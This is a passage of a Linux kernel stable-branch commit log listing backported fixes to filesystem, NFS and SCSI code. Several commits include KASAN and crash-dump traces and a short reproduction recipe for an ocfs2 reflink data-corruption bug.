    Reported-and-tested-by: Nikolay Borisov <kernel@kyup.com>
    Signed-off-by: Oleg Nesterov <oleg@redhat.com>
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 3c15d16635ab95e49e8af93dea4d7bf30d16e9ce
Author: Vegard Nossum <vegard.nossum@oracle.com>
Date:   Thu Aug 25 15:17:11 2016 -0700

    fs/seq_file: fix out-of-bounds read
    
    commit 088bf2ff5d12e2e32ee52a4024fec26e582f44d3 upstream.
    
    seq_read() is a nasty piece of work, not to mention buggy.
    
    It has (I think) an old bug which allows unprivileged userspace to read
    beyond the end of m->buf.
    
    I was getting these:
    
        BUG: KASAN: slab-out-of-bounds in seq_read+0xcd2/0x1480 at addr ffff880116889880
        Read of size 2713 by task trinity-c2/1329
        CPU: 2 PID: 1329 Comm: trinity-c2 Not tainted 4.8.0-rc1+ #96
        Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.9.3-0-ge2fc41e-prebuilt.qemu-project.org 04/01/2014
        Call Trace:
          kasan_object_err+0x1c/0x80
          kasan_report_error+0x2cb/0x7e0
          kasan_report+0x4e/0x80
          check_memory_region+0x13e/0x1a0
          kasan_check_read+0x11/0x20
          seq_read+0xcd2/0x1480
          proc_reg_read+0x10b/0x260
          do_loop_readv_writev.part.5+0x140/0x2c0
          do_readv_writev+0x589/0x860
          vfs_readv+0x7b/0xd0
          do_readv+0xd8/0x2c0
          SyS_readv+0xb/0x10
          do_syscall_64+0x1b3/0x4b0
          entry_SYSCALL64_slow_path+0x25/0x25
        Object at ffff880116889100, in cache kmalloc-4096 size: 4096
        Allocated:
        PID = 1329
          save_stack_trace+0x26/0x80
          save_stack+0x46/0xd0
          kasan_kmalloc+0xad/0xe0
          __kmalloc+0x1aa/0x4a0
          seq_buf_alloc+0x35/0x40
          seq_read+0x7d8/0x1480
          proc_reg_read+0x10b/0x260
          do_loop_readv_writev.part.5+0x140/0x2c0
          do_readv_writev+0x589/0x860
          vfs_readv+0x7b/0xd0
          do_readv+0xd8/0x2c0
          SyS_readv+0xb/0x10
          do_syscall_64+0x1b3/0x4b0
          return_from_SYSCALL_64+0x0/0x6a
        Freed:
        PID = 0
        (stack is not available)
        Memory state around the buggy address:
         ffff88011688a000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
         ffff88011688a080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
        >ffff88011688a100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
                           ^
         ffff88011688a180: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
         ffff88011688a200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
        ==================================================================
        Disabling lock debugging due to kernel taint
    
    This seems to be the same thing that Dave Jones was seeing here:
    
      https://lkml.org/lkml/2016/8/12/334
    
    There are multiple issues here:
    
      1) If we enter the function with a non-empty buffer, there is an attempt
         to flush it. But it was not clearing m->from after doing so, which
         means that if we try to do this flush twice in a row without any call
         to traverse() in between, we are going to be reading from the wrong
         place -- the splat above, fixed by this patch.
    
      2) If there's a short write to userspace because of page faults, the
         buffer may already contain multiple lines (i.e. pos has advanced by
         more than 1), but we don't save the progress that was made so the
         next call will output what we've already returned previously. Since
         that is a much less serious issue (and I have a headache after
         staring at seq_read() for the past 8 hours), I'll leave that for now.
    
    Link: http://lkml.kernel.org/r/1471447270-32093-1-git-send-email-vegard.nossum@oracle.com
    Signed-off-by: Vegard Nossum <vegard.nossum@oracle.com>
    Reported-by: Dave Jones <davej@codemonkey.org.uk>
    Cc: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 6b2e648364c3fc31f07bdf6d88898318aac3fba1
Author: Trond Myklebust <trond.myklebust@primarydata.com>
Date:   Thu Sep 22 13:39:18 2016 -0400

    NFSv4: Open state recovery must account for file permission changes
    
    commit 304020fe48c6c7fff8b5a38f382b54404f0f79d3 upstream.
    
    If the file permissions change on the server, then we may not be able to
    recover open state. If so, we need to ensure that we mark the file
    descriptor appropriately.
    
    Signed-off-by: Trond Myklebust <trond.myklebust@primarydata.com>
    Tested-by: Oleg Drokin <green@linuxhacker.ru>
    Signed-off-by: Anna Schumaker <Anna.Schumaker@Netapp.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit e9276478f8025ac7ed68e782932bd2df6c92d0f7
Author: Chuck Lever <chuck.lever@oracle.com>
Date:   Wed Jun 29 13:55:22 2016 -0400

    NFS: Don't drop CB requests with invalid principals
    
    commit a4e187d83d88eeaba6252aac0a2ffe5eaa73a818 upstream.
    
    Before commit 778be232a207 ("NFS do not find client in NFSv4
    pg_authenticate"), the Linux callback server replied with
    RPC_AUTH_ERROR / RPC_AUTH_BADCRED, instead of dropping the CB
    request. Let's restore that behavior so the server has a chance to
    do something useful about it, and provide a warning that helps
    admins correct the problem.
    
    Fixes: 778be232a207 ("NFS do not find client in NFSv4 ...")
    Signed-off-by: Chuck Lever <chuck.lever@oracle.com>
    Tested-by: Steve Wise <swise@opengridcomputing.com>
    Signed-off-by: Anna Schumaker <Anna.Schumaker@Netapp.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit d5ab1c108e32d008c91d85428f9666293912c3ec
Author: Kinglong Mee <kinglongmee@gmail.com>
Date:   Mon Mar 24 11:56:59 2014 +0800

    NFSD: Using free_conn free connection
    
    commit 3f42d2c428c724212c5f4249daea97e254eb0546 upstream.
    
    Connection from alloc_conn must be freed through free_conn,
    otherwise, the reference of svc_xprt will never be put.
    
    Signed-off-by: Kinglong Mee <kinglongmee@gmail.com>
    Signed-off-by: J. Bruce Fields <bfields@redhat.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit cc2098e94abf01818fd04eb2f676d7ea8f2c9d2c
Author: Trond Myklebust <trond.myklebust@primarydata.com>
Date:   Mon Aug 29 11:15:36 2016 -0400

    NFSv4.x: Fix a refcount leak in nfs_callback_up_net
    
    commit 98b0f80c2396224bbbed81792b526e6c72ba9efa upstream.
    
    On error, the callers expect us to return without bumping
    nn->cb_users[].
    
    Signed-off-by: Trond Myklebust <trond.myklebust@primarydata.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 8a3a266a8ab555b60d42dbf9f785c87516203a30
Author: Boris Brezillon <boris.brezillon@free-electrons.com>
Date:   Fri Sep 16 16:59:12 2016 +0200

    UBI: fastmap: scrub PEB when bitflips are detected in a free PEB EC header
    
    commit ecbfa8eabae9cd73522d1d3d15869703c263d859 upstream.
    
    scan_pool() does not mark the PEB for scrubing when bitflips are
    detected in the EC header of a free PEB (VID header region left to
    0xff).
    Make sure we scrub the PEB in this case.
    
    Signed-off-by: Boris Brezillon <boris.brezillon@free-electrons.com>
    Fixes: dbb7d2a88d2a ("UBI: Add fastmap core")
    Signed-off-by: Richard Weinberger <richard@nod.at>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 55586859c159f05725faa0b119a9c5f21f83ae00
Author: Richard Weinberger <richard@nod.at>
Date:   Fri Oct 28 11:49:03 2016 +0200

    ubifs: Fix regression in ubifs_readdir()
    
    commit a00052a296e54205cf238c75bd98d17d5d02a6db upstream.
    
    Commit c83ed4c9dbb35 ("ubifs: Abort readdir upon error") broke
    overlayfs support because the fix exposed an internal error
    code to VFS.
    
    Reported-by: Peter Rosin <peda@axentia.se>
    Tested-by: Peter Rosin <peda@axentia.se>
    Reported-by: Ralph Sennhauser <ralph.sennhauser@gmail.com>
    Tested-by: Ralph Sennhauser <ralph.sennhauser@gmail.com>
    Fixes: c83ed4c9dbb35 ("ubifs: Abort readdir upon error")
    Signed-off-by: Richard Weinberger <richard@nod.at>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 1bf1f0c778877f2ba2f1a638a0646c851d47c393
Author: Richard Weinberger <richard@nod.at>
Date:   Wed Oct 19 12:43:07 2016 +0200

    ubifs: Abort readdir upon error
    
    commit c83ed4c9dbb358b9e7707486e167e940d48bfeed upstream.
    
    If UBIFS is facing an error while walking a directory, it reports this
    error and ubifs_readdir() returns the error code. But the VFS readdir
    logic does not make the getdents system call fail in all cases. When the
    readdir cursor indicates that more entries are present, the system call
    will just return and the libc wrapper will try again since it also
    knows that more entries are present.
    This causes the libc wrapper to busy loop for ever when a directory is
    corrupted on UBIFS.
    A common approach do deal with corrupted directory entries is
    skipping them by setting the cursor to the next entry. On UBIFS this
    approach is not possible since we cannot compute the next directory
    entry cursor position without reading the current entry. So all we can
    do is setting the cursor to the "no more entries" position and make
    getdents exit.
    
    Signed-off-by: Richard Weinberger <richard@nod.at>
    [wt: adjusted context]
    
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit d414505f516ba5af6ef5699a1cc702591bce0d9f
Author: Richard Weinberger <richard@nod.at>
Date:   Mon Oct 12 23:35:36 2015 +0200

    UBIFS: Fix possible memory leak in ubifs_readdir()
    
    commit aeeb14f763917ccf639a602cfbeee6957fd944a2 upstream.
    
    If ubifs_tnc_next_ent() returns something else than -ENOENT
    we leak file->private_data.
    
    Signed-off-by: Richard Weinberger <richard@nod.at>
    Reviewed-by: David Gstir <david@sigma-star.at>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 5fc1b41eb40fdd2e7b6e0b208b7bb6e3ccf6a2e0
Author: Richard Weinberger <richard@nod.at>
Date:   Tue Sep 20 10:08:30 2016 +0200

    ubifs: Fix xattr_names length in exit paths
    
    commit 843741c5778398ea67055067f4cc65ae6c80ca0e upstream.
    
    When the operation fails we also have to undo the changes
    we made to ->xattr_names. Otherwise listxattr() will report
    wrong lengths.
    
    Signed-off-by: Richard Weinberger <richard@nod.at>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit cfd4e393182072bf84f13864ce84f3d60ab3ba1c
Author: Vincent Stehlé <vincent.stehle@intel.com>
Date:   Fri Aug 12 15:26:30 2016 +0200

    ubifs: Fix assertion in layout_in_gaps()
    
    commit c0082e985fdf77b02fc9e0dac3b58504dcf11b7a upstream.
    
    An assertion in layout_in_gaps() verifies that the gap_lebs pointer is
    below the maximum bound. When computing this maximum bound the idx_lebs
    count is multiplied by sizeof(int), while C pointers arithmetic does take
    into account the size of the pointed elements implicitly already. Remove
    the multiplication to fix the assertion.
    
    Fixes: 1e51764a3c2ac05a ("UBIFS: add new flash file system")
    Signed-off-by: Vincent Stehlé <vincent.stehle@intel.com>
    Cc: Artem Bityutskiy <artem.bityutskiy@linux.intel.com>
    Signed-off-by: Artem Bityutskiy <artem.bityutskiy@linux.intel.com>
    Signed-off-by: Richard Weinberger <richard@nod.at>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 8b79f326cafe330455c1629d4feef6b3d6ded4c1
Author: Ashish Samant <ashish.samant@oracle.com>
Date:   Mon Sep 19 14:44:42 2016 -0700

    ocfs2: fix start offset to ocfs2_zero_range_for_truncate()
    
    commit d21c353d5e99c56cdd5b5c1183ffbcaf23b8b960 upstream.
    
    If we punch a hole on a reflink such that following conditions are met:
    
    1. start offset is on a cluster boundary
    2. end offset is not on a cluster boundary
    3. (end offset is somewhere in another extent) or
       (hole range > MAX_CONTIG_BYTES(1MB)),
    
    we dont COW the first cluster starting at the start offset.  But in this
    case, we were wrongly passing this cluster to
    ocfs2_zero_range_for_truncate() to zero out.  This will modify the
    cluster in place and zero it in the source too.
    
    Fix this by skipping this cluster in such a scenario.
    
    To reproduce:
    
    1. Create a random file of say 10 MB
         xfs_io -c 'pwrite -b 4k 0 10M' -f 10MBfile
    2. Reflink  it
         reflink -f 10MBfile reflnktest
    3. Punch a hole at starting at cluster boundary  with range greater that
    1MB. You can also use a range that will put the end offset in another
    extent.
         fallocate -p -o 0 -l 1048615 reflnktest
    4. sync
    5. Check the  first cluster in the source file. (It will be zeroed out).
        dd if=10MBfile iflag=direct bs=<cluster size> count=1 | hexdump -C
    
    Link: http://lkml.kernel.org/r/1470957147-14185-1-git-send-email-ashish.samant@oracle.com
    Signed-off-by: Ashish Samant <ashish.samant@oracle.com>
    Reported-by: Saar Maoz <saar.maoz@oracle.com>
    Reviewed-by: Srinivas Eeda <srinivas.eeda@oracle.com>
    Cc: Mark Fasheh <mfasheh@versity.com>
    Cc: Joel Becker <jlbec@evilplan.org>
    Cc: Junxiao Bi <junxiao.bi@oracle.com>
    Cc: Joseph Qi <joseph.qi@huawei.com>
    Cc: Eric Ren <zren@suse.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit c7e3bdde9f748bb1f5297561a2fb111641178f97
Author: Joseph Qi <joseph.qi@huawei.com>
Date:   Mon Sep 19 14:43:55 2016 -0700

    ocfs2/dlm: fix race between convert and migration
    
    commit e6f0c6e6170fec175fe676495f29029aecdf486c upstream.
    
    Commit ac7cf246dfdb ("ocfs2/dlm: fix race between convert and recovery")
    checks if lockres master has changed to identify whether new master has
    finished recovery or not.  This will introduce a race that right after
    old master does umount ( means master will change), a new convert
    request comes.
    
    In this case, it will reset lockres state to DLM_RECOVERING and then
    retry convert, and then fail with lockres->l_action being set to
    OCFS2_AST_INVALID, which will cause inconsistent lock level between
    ocfs2 and dlm, and then finally BUG.
    
    Since dlm recovery will clear lock->convert_pending in
    dlm_move_lockres_to_recovery_list, we can use it to correctly identify
    the race case between convert and recovery.  So fix it.
    
    Fixes: ac7cf246dfdb ("ocfs2/dlm: fix race between convert and recovery")
    Link: http://lkml.kernel.org/r/57CE1569.8010704@huawei.com
    Signed-off-by: Joseph Qi <joseph.qi@huawei.com>
    Signed-off-by: Jun Piao <piaojun@huawei.com>
    Cc: Mark Fasheh <mfasheh@versity.com>
    Cc: Joel Becker <jlbec@evilplan.org>
    Cc: Junxiao Bi <junxiao.bi@oracle.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 879149a04391cddcec0b076aba6189b5279cdb86
Author: Jeff Mahoney <jeffm@suse.com>
Date:   Wed Sep 21 08:31:29 2016 -0400

    btrfs: ensure that file descriptor used with subvol ioctls is a dir
    
    commit 325c50e3cebb9208009083e841550f98a863bfa0 upstream.
    
    If the subvol/snapshot create/destroy ioctls are passed a regular file
    with execute permissions set, we'll eventually Oops while trying to do
    inode->i_op->lookup via lookup_one_len.
    
    This patch ensures that the file descriptor refers to a directory.
    
    Fixes: cb8e70901d (Btrfs: Fix subvolume creation locking rules)
    Fixes: 76dda93c6a (Btrfs: add snapshot/subvolume destroy ioctl)
    Signed-off-by: Jeff Mahoney <jeffm@suse.com>
    Signed-off-by: Chris Mason <clm@fb.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 444f0f1daa34f1bdedfb1e179bd886ad81a66225
Author: Darrick J. Wong <darrick.wong@oracle.com>
Date:   Thu Oct 20 15:46:18 2016 +1100

    libxfs: clean up _calc_dquots_per_chunk
    
    commit 58d789678546d46d7bbd809dd7dab417c0f23655 upstream.
    
    The function xfs_calc_dquots_per_chunk takes a parameter in units
    of basic blocks.  The kernel seems to get the units wrong, but
    userspace got 'fixed' by commenting out the unnecessary conversion.
    Fix both.
    
    Signed-off-by: Darrick J. Wong <darrick.wong@oracle.com>
    Reviewed-by: Eric Sandeen <sandeen@redhat.com>
    Signed-off-by: Dave Chinner <david@fromorbit.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 5a8afb1c37c93b4f41f8233bd54e23e7134a2a2d
Author: Dave Chinner <dchinner@redhat.com>
Date:   Fri Aug 26 16:01:30 2016 +1000

    xfs: fix superblock inprogress check
    
    commit f3d7ebdeb2c297bd26272384e955033493ca291c upstream.
    
    From inspection, the superblock sb_inprogress check is done in the
    verifier and triggered only for the primary superblock via a
    "bp->b_bn == XFS_SB_DADDR" check.
    
    Unfortunately, the primary superblock is an uncached buffer, and
    hence it is configured by xfs_buf_read_uncached() with:
    
            bp->b_bn = XFS_BUF_DADDR_NULL;  /* always null for uncached buffers */
    
    And so this check never triggers. Fix it.
    
    Signed-off-by: Dave Chinner <dchinner@redhat.com>
    Reviewed-by: Brian Foster <bfoster@redhat.com>
    Reviewed-by: Christoph Hellwig <hch@lst.de>
    Signed-off-by: Dave Chinner <david@fromorbit.com>
    [wt: s/xfs_sb.c/xfs_mount.c in 3.10]
    
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit ee89427388b9ffde431d0331a157620f95b7dd2b
Author: Mike Galbraith <efault@gmx.de>
Date:   Mon Aug 13 15:21:23 2012 +0200

    reiserfs: Unlock superblock before calling reiserfs_quota_on_mount()
    
    commit 420902c9d086848a7548c83e0a49021514bd71b7 upstream.
    
    If we hold the superblock lock while calling reiserfs_quota_on_mount(), we can
    deadlock our own worker - mount blocks kworker/3:2, sleeps forever more.
    
    crash> ps|grep UN
        715      2   3  ffff880220734d30  UN   0.0       0      0  [kworker/3:2]
       9369   9341   2  ffff88021ffb7560  UN   1.3  493404 123184  Xorg
       9665   9664   3  ffff880225b92ab0  UN   0.0   47368    812  udisks-daemon
      10635  10403   3  ffff880222f22c70  UN   0.0   14904    936  mount
    crash> bt ffff880220734d30
    PID: 715    TASK: ffff880220734d30  CPU: 3   COMMAND: "kworker/3:2"
     #0 [ffff8802244c3c20] schedule at ffffffff8144584b
     #1 [ffff8802244c3cc8] __rt_mutex_slowlock at ffffffff814472b3
     #2 [ffff8802244c3d28] rt_mutex_slowlock at ffffffff814473f5
     #3 [ffff8802244c3dc8] reiserfs_write_lock at ffffffffa05f28fd [reiserfs]
     #4 [ffff8802244c3de8] flush_async_commits at ffffffffa05ec91d [reiserfs]
     #5 [ffff8802244c3e08] process_one_work at ffffffff81073726
     #6 [ffff8802244c3e68] worker_thread at ffffffff81073eba
     #7 [ffff8802244c3ec8] kthread at ffffffff810782e0
     #8 [ffff8802244c3f48] kernel_thread_helper at ffffffff81450064
    crash> rd ffff8802244c3cc8 10
    ffff8802244c3cc8:  ffffffff814472b3 ffff880222f23250   .rD.....P2."....
    ffff8802244c3cd8:  0000000000000000 0000000000000286   ................
    ffff8802244c3ce8:  ffff8802244c3d30 ffff880220734d80   0=L$.....Ms ....
    ffff8802244c3cf8:  ffff880222e8f628 0000000000000000   (.."............
    ffff8802244c3d08:  0000000000000000 0000000000000002   ................
    crash> struct rt_mutex ffff880222e8f628
    struct rt_mutex {
      wait_lock = {
        raw_lock = {
          slock = 65537
        }
      },
      wait_list = {
        node_list = {
          next = 0xffff8802244c3d48,
          prev = 0xffff8802244c3d48
        }
      },
      owner = 0xffff880222f22c71,
      save_state = 0
    }
    crash> bt 0xffff880222f22c70
    PID: 10635  TASK: ffff880222f22c70  CPU: 3   COMMAND: "mount"
     #0 [ffff8802216a9868] schedule at ffffffff8144584b
     #1 [ffff8802216a9910] schedule_timeout at ffffffff81446865
     #2 [ffff8802216a99a0] wait_for_common at ffffffff81445f74
     #3 [ffff8802216a9a30] flush_work at ffffffff810712d3
     #4 [ffff8802216a9ab0] schedule_on_each_cpu at ffffffff81074463
     #5 [ffff8802216a9ae0] invalidate_bdev at ffffffff81178aba
     #6 [ffff8802216a9af0] vfs_load_quota_inode at ffffffff811a3632
     #7 [ffff8802216a9b50] dquot_quota_on_mount at ffffffff811a375c
     #8 [ffff8802216a9b80] finish_unfinished at ffffffffa05dd8b0 [reiserfs]
     #9 [ffff8802216a9cc0] reiserfs_fill_super at ffffffffa05de825 [reiserfs]
        RIP: 00007f7b9303997a  RSP: 00007ffff443c7a8  RFLAGS: 00010202
        RAX: 00000000000000a5  RBX: ffffffff8144ef12  RCX: 00007f7b932e9ee0
        RDX: 00007f7b93d9a400  RSI: 00007f7b93d9a3e0  RDI: 00007f7b93d9a3c0
        RBP: 00007f7b93d9a2c0   R8: 00007f7b93d9a550   R9: 0000000000000001
        R10: ffffffffc0ed040e  R11: 0000000000000202  R12: 000000000000040e
        R13: 0000000000000000  R14: 00000000c0ed040e  R15: 00007ffff443ca20
        ORIG_RAX: 00000000000000a5  CS: 0033  SS: 002b
    
    Signed-off-by: Mike Galbraith <efault@gmx.de>
    Acked-by: Frederic Weisbecker <fweisbec@gmail.com>
    Acked-by: Mike Galbraith <mgalbraith@suse.de>
    Signed-off-by: Jan Kara <jack@suse.cz>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 52495e7b8bb385ad313e8b218bf4972a93134907
Author: Jeff Mahoney <jeffm@suse.com>
Date:   Tue Aug 2 14:05:33 2016 -0700

    reiserfs: fix "new_insert_key may be used uninitialized ..."
    
    commit 0a11b9aae49adf1f952427ef1a1d9e793dd6ffb6 upstream.
    
    new_insert_key only makes any sense when it's associated with a
    new_insert_ptr, which is initialized to NULL and changed to a
    buffer_head when we also initialize new_insert_key.  We can key off of
    that to avoid the uninitialized warning.
    
    Link: http://lkml.kernel.org/r/5eca5ffb-2155-8df2-b4a2-f162f105efed@suse.com
    Signed-off-by: Jeff Mahoney <jeffm@suse.com>
    Cc: Arnd Bergmann <arnd@arndb.de>
    Cc: Jan Kara <jack@suse.cz>
    Cc: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit a7ee70f64fc0b15036db7b6ff146f19e8f33203f
Author: Theodore Ts'o <tytso@mit.edu>
Date:   Fri Nov 18 13:00:24 2016 -0500

    ext4: sanity check the block and cluster size at mount time
    
    commit 8cdf3372fe8368f56315e66bea9f35053c418093 upstream.
    
    If the block size or cluster size is insane, reject the mount.  This
    is important for security reasons (although we shouldn't be just
    depending on this check).
    
    Ref: http://www.securityfocus.com/archive/1/539661
    Ref: https://bugzilla.redhat.com/show_bug.cgi?id=1332506
    Reported-by: Borislav Petkov <bp@alien8.de>
    Reported-by: Nikolay Borisov <kernel@kyup.com>
    Signed-off-by: Theodore Ts'o <tytso@mit.edu>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 7a97321f5c3666df35674889e45f6a0370bc99fc
Author: Ross Zwisler <ross.zwisler@linux.intel.com>
Date:   Thu Sep 22 11:49:38 2016 -0400

    ext4: allow DAX writeback for hole punch
    
    commit cca32b7eeb4ea24fa6596650e06279ad9130af98 upstream.
    
    Currently when doing a DAX hole punch with ext4 we fail to do a writeback.
    This is because the logic around filemap_write_and_wait_range() in
    ext4_punch_hole() only looks for dirty page cache pages in the radix tree,
    not for dirty DAX exceptional entries.
    
    Signed-off-by: Ross Zwisler <ross.zwisler@linux.intel.com>
    Reviewed-by: Jan Kara <jack@suse.cz>
    Signed-off-by: Theodore Ts'o <tytso@mit.edu>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 1326ba8707a5f8edb714f621f2d75d1e74b86ed6
Author: Daeho Jeong <daeho.jeong@samsung.com>
Date:   Mon Sep 5 22:56:10 2016 -0400

    ext4: reinforce check of i_dtime when clearing high fields of uid and gid
    
    commit 93e3b4e6631d2a74a8cf7429138096862ff9f452 upstream.
    
    Now, ext4_do_update_inode() clears high 16-bit fields of uid/gid
    of deleted and evicted inode to fix up interoperability with old
    kernels. However, it checks only i_dtime of an inode to determine
    whether the inode was deleted and evicted, and this is very risky,
    because i_dtime can be used for the pointer maintaining orphan inode
    list, too. We need to further check whether the i_dtime is being
    used for the orphan inode list even if the i_dtime is not NULL.
    
    We found that high 16-bit fields of uid/gid of inode are unintentionally
    and permanently cleared when the inode truncation is just triggered,
    but not finished, and the inode metadata, whose high uid/gid bits are
    cleared, is written on disk, and the sudden power-off follows that
    in order.
    
    Signed-off-by: Daeho Jeong <daeho.jeong@samsung.com>
    Signed-off-by: Hobin Woo <hobin.woo@samsung.com>
    Signed-off-by: Theodore Ts'o <tytso@mit.edu>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit fa8a01a81af29ae9b490e29791badfb6d090eb71
Author: Konstantin Khlebnikov <khlebnikov@yandex-team.ru>
Date:   Sun Mar 13 17:29:06 2016 -0400

    ext4: use __GFP_NOFAIL in ext4_free_blocks()
    
    commit adb7ef600cc9d9d15ecc934cc26af5c1379777df upstream.
    
    This might be unexpected but pages allocated for sbi->s_buddy_cache are
    charged to current memory cgroup. So, GFP_NOFS allocation could fail if
    current task has been killed by OOM or if current memory cgroup has no
    free memory left. Block allocator cannot handle such failures here yet.
    
    Signed-off-by: Konstantin Khlebnikov <khlebnikov@yandex-team.ru>
    Signed-off-by: Theodore Ts'o <tytso@mit.edu>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 3a45bbb2f9eb5ff7ab7dce23443a9355a74c9c74
Author: Daeho Jeong <daeho.jeong@samsung.com>
Date:   Sun Jul 3 17:51:39 2016 -0400

    ext4: avoid modifying checksum fields directly during checksum verification
    
    commit b47820edd1634dc1208f9212b7ecfb4230610a23 upstream.
    
    We temporally change checksum fields in buffers of some types of
    metadata into '0' for verifying the checksum values. By doing this
    without locking the buffer, some metadata's checksums, which are
    being committed or written back to the storage, could be damaged.
    In our test, several metadata blocks were found with damaged metadata
    checksum value during recovery process. When we only verify the
    checksum value, we have to avoid modifying checksum fields directly.
    
    Signed-off-by: Daeho Jeong <daeho.jeong@samsung.com>
    Signed-off-by: Youngjin Gil <youngjin.gil@samsung.com>
    Signed-off-by: Theodore Ts'o <tytso@mit.edu>
    Reviewed-by: Darrick J. Wong <darrick.wong@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 7d506613724a5b9f6b4b80a1587e9300f1a2bbaf
Author: Theodore Ts'o <tytso@mit.edu>
Date:   Mon Aug 1 00:51:02 2016 -0400

    ext4: validate that metadata blocks do not overlap superblock
    
    commit 829fa70dddadf9dd041d62b82cd7cea63943899d upstream.
    
    A number of fuzzing failures seem to be caused by allocation bitmaps
    or other metadata blocks being pointed at the superblock.
    
    This can cause kernel BUG or WARNings once the superblock is
    overwritten, so validate the group descriptor blocks to make sure this
    doesn't happen.
    
    Signed-off-by: Theodore Ts'o <tytso@mit.edu>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 9c30efd6a204eb24ca23fbb3b4e1813a38abd0d4
Author: Ching Huang <ching2048@areca.com.tw>
Date:   Wed Oct 19 17:50:26 2016 +0800

    scsi: arcmsr: Send SYNCHRONIZE_CACHE command to firmware
    
    commit 2bf7dc8443e113844d078fd6541b7f4aa544f92f upstream.
    
    The arcmsr driver failed to pass SYNCHRONIZE CACHE to controller
    firmware. Depending on how drive caches are handled internally by
    controller firmware this could potentially lead to data integrity
    problems.
    
    Ensure that cache flushes are passed to the controller.
    
    [mkp: applied by hand and removed unused vars]
    
    Signed-off-by: Ching Huang <ching2048@areca.com.tw>
    Reported-by: Tomas Henzl <thenzl@redhat.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit bdf7e17f56c3470877e87cabcf44197fff89b190
Author: Ewan D. Milne <emilne@redhat.com>
Date:   Wed Oct 26 11:22:53 2016 -0400

    scsi: scsi_debug: Fix memory leak if LBP enabled and module is unloaded
    
    commit 4d2b496f19f3c2cfaca1e8fa0710688b5ff3811d upstream.
    
    map_storep was not being vfree()'d in the module_exit call.
    
    Signed-off-by: Ewan D. Milne <emilne@redhat.com>
    Reviewed-by: Laurence Oberman <loberman@redhat.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 7a03031a5dbd7f479e8e8555286098e83cba996c
Author: Dan Carpenter <dan.carpenter@oracle.com>
Date:   Thu Sep 15 16:44:56 2016 +0300

    scsi: arcmsr: Buffer overflow in arcmsr_iop_message_xfer()
    
    commit 7bc2b55a5c030685b399bb65b6baa9ccc3d1f167 upstream.
    
    We need to put an upper bound on "user_len" so the memcpy() doesn't
    overflow.
    
    [js] no ARCMSR_API_DATA_BUFLEN defined, use the number
    
    Reported-by: Marco Grassi <marco.gra@gmail.com>
    Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
    Reviewed-by: Tomas Henzl <thenzl@redhat.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit ba02e936939e98b873dd4ab18c78464695589fef
Author: Ming Lei <tom.leiming@gmail.com>
Date:   Sun Oct 9 13:23:27 2016 +0800

    scsi: Fix use-after-free
    
    commit bcd8f2e94808fcddf6ef3af5f060a36820dcc432 upstream.
    
    This patch fixes one use-after-free report[1] by KASAN.
    
    In __scsi_scan_target(), when a type 31 device is probed,
    SCSI_SCAN_TARGET_PRESENT is returned and the target will be scanned
    again.
    
    Inside the following scsi_report_lun_scan(), one new scsi_device
    instance is allocated, and scsi_probe_and_add_lun() is called again to
    probe the target and still see type 31 device, finally
    __scsi_remove_device() is called to remove & free the device at the end
    of scsi_probe_and_add_lun(), so cause use-after-free in
    scsi_report_lun_scan().
    
    And the following SCSI log can be observed:
    
            scsi 0:0:2:0: scsi scan: INQUIRY pass 1 length 36
            scsi 0:0:2:0: scsi scan: INQUIRY successful with code 0x0
            scsi 0:0:2:0: scsi scan: peripheral device type of 31, no device added
            scsi 0:0:2:0: scsi scan: Sending REPORT LUNS to (try 0)
            scsi 0:0:2:0: scsi scan: REPORT LUNS successful (try 0) result 0x0
            scsi 0:0:2:0: scsi scan: REPORT LUN scan
